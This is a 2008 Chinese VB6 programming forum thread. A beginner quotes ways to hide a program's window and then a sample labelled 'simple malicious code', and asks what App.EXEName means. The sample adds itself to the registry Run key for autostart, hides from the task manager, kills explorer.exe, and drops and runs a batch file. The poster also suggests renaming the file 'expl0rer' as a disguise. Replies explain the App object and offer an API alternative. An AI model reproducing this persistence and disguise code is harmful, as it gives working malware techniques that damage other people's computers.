标题:首页上关于vb隐藏有看不懂的地方
只看楼主
zuiliangdexing
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2008-4-18
 问题点数:0 回复次数:4 
首页上关于vb隐藏有看不懂的地方
问题在程序后面
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
第1种-关闭后到像迅雷一样隐藏
Private Sub Form_Queryunload(Cancel As Integer, unloadmode As Integer)
Cancel = True
Me.Hide
End Sub
_____________________________
第2种-直接隐藏
Form1.Visible = False
_____________________________

第3种-在任务管理器应用程序中隐藏
App.TaskVisible = False

_____________________________

于是就可以编写一个简单的恶意代码

Private Sub Form_Load

Set w = CreateObject("wscript.shell")
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"      '导入注册表,实现开机自动运行

Form1.Visible = False

App.Taskvisible = False

Shell "taskkill /f /im explorer.exe ", vbHide   '结束explorer.exe进程

Open "c:\windows\$$$.bat" for Append As #1
Print #1 , "@echo off"
Print #1 , "echo 恭喜你中毒"
Print #1 , "echo. & pause"
close #1
x = shell("c:\windows\$$$.bat")

.......  '这里不讨论这个问题,自由发挥,最后把文件名改为expl0rer等
End Sub

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
就是& App.EXEName, App.Path & "\" & App.EXEName & ".exe这几个东西
原样输进去就行吗??还是要吧App.EXEName等改为程序名字
搜索更多相关主题的帖子: 首页 隐藏 
2008-04-22 13:11
永夜的极光
Rank: 6Rank: 6
等 级:贵宾
威 望:27
帖 子:2721
专家分:1
注 册:2007-10-9
得分:0 
不用变的,
app是vb里面的一个对象,保存着这个程序的一些信息,最常用的就是app.path,可以返回这个程序所在的文件夹,app.exename是可执行文件的名字

从BFS(Breadth First Study)到DFS(Depth First Study)
2008-04-22 13:44
multiple1902
Rank: 8Rank: 8
等 级:贵宾
威 望:42
帖 子:4881
专家分:671
注 册:2007-2-9
得分:0 
楼上正解。App.Exename可以直接使用,不过我更愿意用API。
程序代码:
Public Declare Function GetCommandLine Lib "kernel32" Alias "GetCommandLineA" () As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As String, ByVal Source As Long, ByVal Length As Long)


 
Function fGetCommandLine() As String
    Dim lRet As Long, sCmd As String
    lRet = GetCommandLine
    If lRet > 0 Then
            sCmd = String(256, 32)
            CopyMemory sCmd, lRet, Len(sCmd)
            sCmd = Mid(sCmd, 1, InStr(1, sCmd, Chr(0)) - 1)
    End If
    fGetCommandLine = sCmd
    
    ' 关于API GetCommandLine的使用说明
    ' MSDN:
    ' The return value is a pointer to the command-line string for the current process.
    ' 返回字符串指针(指向当前命令行缓冲区的一个指针),并非字符串,API Viewer的声明是错误的。
    ' References:
    ' http://topic. 
End Function

http://multiple001.spaces.
2008-04-22 21:38
zhaoguojun081
Rank: 1
等 级:新手上路
帖 子:24
专家分:0
注 册:2008-11-11
得分:0 
学习了,谢谢
2008-11-21 11:22
gmqn
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2011-4-6
得分:0 
55
2011-04-06 22:49



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-210426-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.540467 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved